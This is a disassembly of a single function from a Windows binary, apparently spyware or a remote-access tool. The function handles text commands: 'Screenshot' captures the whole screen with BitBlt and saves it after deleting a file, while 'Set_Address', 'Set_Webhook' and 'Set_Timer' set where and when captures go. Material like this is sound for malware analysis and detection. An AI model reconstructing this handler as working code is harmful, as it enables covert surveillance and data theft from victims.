Function at 0x140005940
Capabilities:
Capture screenshot
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0xa0
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov r15, rcx
mov qword [rsp + 0x90], rcx
xor r12d, r12d
mov rbx, qword [rcx + 0x10]
mov rdi, qword [rcx + 0x18]
cmp rdi, 0xf
jbe 0x14000598a
mov rcx, qword [rcx]
cmp rbx, 0xa
jne 0x140005ba1
mov r8, rbx
lea rdx, str.Screenshot
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140005ba1
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
lea ecx, [rbx - 9]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rdi, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r14, rax
mov r8d, ebx
mov edx, esi
mov rcx, rdi
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rbp, rax
mov rdx, rax
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.GDI32.dll_BitBlt]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
lea rsi, [0x140013dd0]
cmp qword [0x140013de8], 0xf
cmova rsi, qword [0x140013dd0]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, rsi
mov rcx, rbp
call fcn.140004cd0
mov rcx, rbp
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdi, 0xffffffffffffffff
mov rbx, rdi
inc rbx
cmp byte [rsi + rbx], 0
jne 0x140005a72
call fcn.14000a548
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140001e00
nop
lea rcx, [rsp + 0x70]
call fcn.1400028d0
movzx ebx, al
mov rdx, qword [rsp + 0x88]
cmp rdx, 7
jbe 0x140005af1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005aec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005aec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab6c
test bl, bl
je 0x140005b2b
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
inc rdi
cmp byte [rsi + rdi], 0
jne 0x140005b07
mov r8, rdi
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140008380
lea rcx, [rsp + 0x50]
call fcn.1400037d0
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140005b65
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r15]
jb 0x140005b60
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005c41
mov rcx, r8
call fcn.14000ab6c
mov byte [r15], 0
mov qword [r15 + 0x18], 0xf
mov qword [r15 + 0x10], r12
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.14000ab10
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
mov rcx, r15
cmp rdi, 0xf
jbe 0x140005bad
mov rcx, qword [r15]
cmp rbx, 0xb
jne 0x140005bd0
mov r8, rbx
lea rdx, str.Set_Address
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140005bd0
call fcn.140005040
jmp 0x140005b2b
mov rcx, r15
cmp rdi, 0xf
jbe 0x140005bdc
mov rcx, qword [r15]
cmp rbx, 0xb
jne 0x140005bff
mov r8, rbx
lea rdx, str.Set_Webhook
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140005bff
call fcn.1400054c0
jmp 0x140005b2b
mov rcx, r15
cmp rdi, 0xf
jbe 0x140005c0b
mov rcx, qword [r15]
cmp rbx, 9
jne 0x140005c2e
mov r8, rbx
lea rdx, str.Set_Timer
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140005c2e
call fcn.140004980
jmp 0x140005b2b
cmp rdi, 0xf
jbe 0x140005b65
lea rdx, [rdi + 1]
jmp 0x140005b38
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3